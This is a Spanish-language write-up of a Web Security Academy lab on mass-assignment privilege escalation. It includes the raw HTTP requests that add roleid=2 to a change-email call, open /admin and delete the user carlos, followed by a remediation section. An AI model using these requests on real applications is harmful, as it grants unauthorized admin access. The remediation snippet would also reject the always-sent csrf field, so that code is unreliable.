User role can be modified in user profile
Escalada vertical por mass assignment: el endpoint de actualización de perfil acepta un campo roleid no declarado en la UI, elevando al usuario a roleid 2 para acceder al panel admin.
Target Overview & Vulnerability Summary
El lab access-control/lab-user-role-can-be-modified-in-user-profile tiene un panel admin en /admin accesible solo para usuarios autenticados con roleid igual a 2. La funcionalidad de actualizar email acepta campos adicionales no declarados en el formulario: enviando roleid=2 en la request de actualización del perfil, el usuario eleva su rol y accede al panel para eliminar a carlos.
| Campo | Valor |
|---|---|
| Severidad | Alta (escalada vertical a administrador) |
| Endpoint vulnerable | POST /my-account/change-email (actualización de perfil) |
| Root cause | Mass assignment: el modelo de perfil se actualiza con todos los campos de la request, incluido roleid |
Credenciales del laboratorio: wiener:peter.
Technical Breakdown & Exploitation Flow
1. La request legítima
El formulario de actualizar email solo envía email y csrf. Interceptándola con Burp:
POST /my-account/change-email HTTP/2
Host: <LAB-ID>.web-security-academy.net
Cookie: session=<SESSION_ID>
Content-Type: application/x-www-form-urlencoded
email=wiener@normal-user.net&csrf=<CSRF_TOKEN>
2. Inyección del campo roleid
El endpoint mapea todos los parámetros de la request al modelo del usuario. Se añade roleid:
POST /my-account/change-email HTTP/2
Host: <LAB-ID>.web-security-academy.net
Cookie: session=<SESSION_ID>
Content-Type: application/x-www-form-urlencoded
email=wiener@normal-user.net&csrf=<CSRF_TOKEN>&roleid=2
La actualización persiste roleid=2 junto al email. Accediendo a /admin con la sesión ya elevada:
GET /admin HTTP/2
Host: <LAB-ID>.web-security-academy.net
Cookie: session=<SESSION_ID>
El panel admin responde con las acciones administrativas; se elimina al usuario carlos:
GET /admin/delete?username=carlos HTTP/2
Host: <LAB-ID>.web-security-academy.net
Cookie: session=<SESSION_ID>
Root Cause Analysis
La causa raíz es el mass assignment: el backend toma la request y la aplica directamente sobre el objeto de perfil sin un allowlist de campos actualizables. El campo roleid no aparece en la UI, pero como el endpoint acepta cualquier parámetro, el cliente puede setear un atributo de autorización que solo el servidor debería controlar. La separación entre "campos editables por el usuario" y "campos gestionados por el sistema" no existe en el modelo de actualización.
Secure Remediation
- Aplicar un allowlist de campos actualizables por el usuario; los atributos de rol/privilegios se asignan exclusivamente server-side:
ALLOWED_UPDATE_FIELDS = {"email"}
def change_profile(request):
updates = {k: v for k, v in request.form.items() if k in ALLOWED_UPDATE_FIELDS}
if len(updates) != len(request.form): # parámetros extra
abort(400)
user.update(updates)
- Si el framework lo permite, configurar la serialización para ignorar campos no declarados (
whitelisten lugar deblacklist). - Resolver el rol desde la sesión/base de datos en cada request administrativa, y validar que
/adminrequieraroleid == 2en el middleware de autorización (no solo en la UI).